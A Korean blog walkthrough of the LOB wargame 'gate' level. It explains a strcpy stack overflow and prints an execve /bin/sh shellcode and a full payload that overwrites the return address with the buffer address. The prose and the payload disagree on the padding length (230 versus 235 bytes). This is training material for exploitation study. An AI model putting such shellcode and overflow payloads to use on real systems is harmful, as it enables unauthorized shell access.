Pwnable/LOB

[LOB] gate 문제 풀이!

RootJJang 2022. 5. 12. 10:42
SMALL

와우 이번엔 LOB!

 

FTZ를 끝냈다면 꼭 풀어야할 워게임이다

 

id : gate / pwd : gate로 로그인을 해준 후 명령창에 꼭 bash2라고 쳐준다

 

bash2를 입력해주는 이유는 \xff를 \x00으로 인식하는 오류를 피하기 위해 사용해준다고 합니다

 

그럼 한 가볼까요?

 

이젠 아예 실행 파일의 소스코드를 주네요

 

함 봐봅시다

 

FTZ의 11번 문제와 유사하네요

 

그런 기념으로 제 블로그에 있는 풀이 좀 봐주세요...

 

https://qpalzm1029.tistory.com/26?category=555234

 

[FTZ] level11 풀이!

로그인해서 ls로 무슨 파일들이 있는지 확인해봅니다 hint 파일과 attackme 파일이 있네요 file 명령어로 파일을 확인해보니 32bit짜리 실행 파일이라 하네요 한 번 실행해 보겠습니다 오류가 뜨네요 h

qpalzm1029.tistory.com

제 블로그를 보셨다면 아마 풀이 방법을 아실 겁니다!

 

그래도 못 보신 분들을 위해 함 구해보죠

 

strcpy()로 인자값을 buffer에 입력하고 printf로 입력 받은 인자값을 출력하네요

 

변수의 크기가 커서 쉘코드를 넣고 buffer의 주소를 RET에 덮어쓰면 될 것 같습니다

 

buffer가 ebp-256에서 입력 받네요

 

main+59에 bp를 걸어 입력 받은 값이 스택 어디에 위치한지 알아보겠습니다

 

0xbffff928부터가 buffer의 주소네요

 

근데 혹시나 FTZ 때처럼 ASlR이 걸려있는지 함 확인해보죠..

 

휴.. 다행히 안 걸려있네요

 

그럼 이제 주소가 0xbffff928인 것도 구했으니 페이로드를 짜봅시당

 

저는 25bytes짜리 쉘코드를 사용하겠습니다

 

shellcode :\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

Payload = 쉘코드[25] + dummy(230)[260-쉘코드[25] + buffer 주소

 

최종 페이로드 = ./gremlin `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*235 + "\x28\xf9\xff\xbf"'`

 

LIST

'Pwnable > LOB' 카테고리의 다른 글

[LOB] wolfman 문제 풀이!!!!  (0) 2022.05.13
[LOB] orc 문제 풀이!!!!  (0) 2022.05.13
[LOB] goblin 문제 풀이!!!!  (0) 2022.05.12
[LOB] cobolt 문제 풀이!  (2) 2022.05.12
[LOB] gremlin 문제 풀이!  (1) 2022.05.12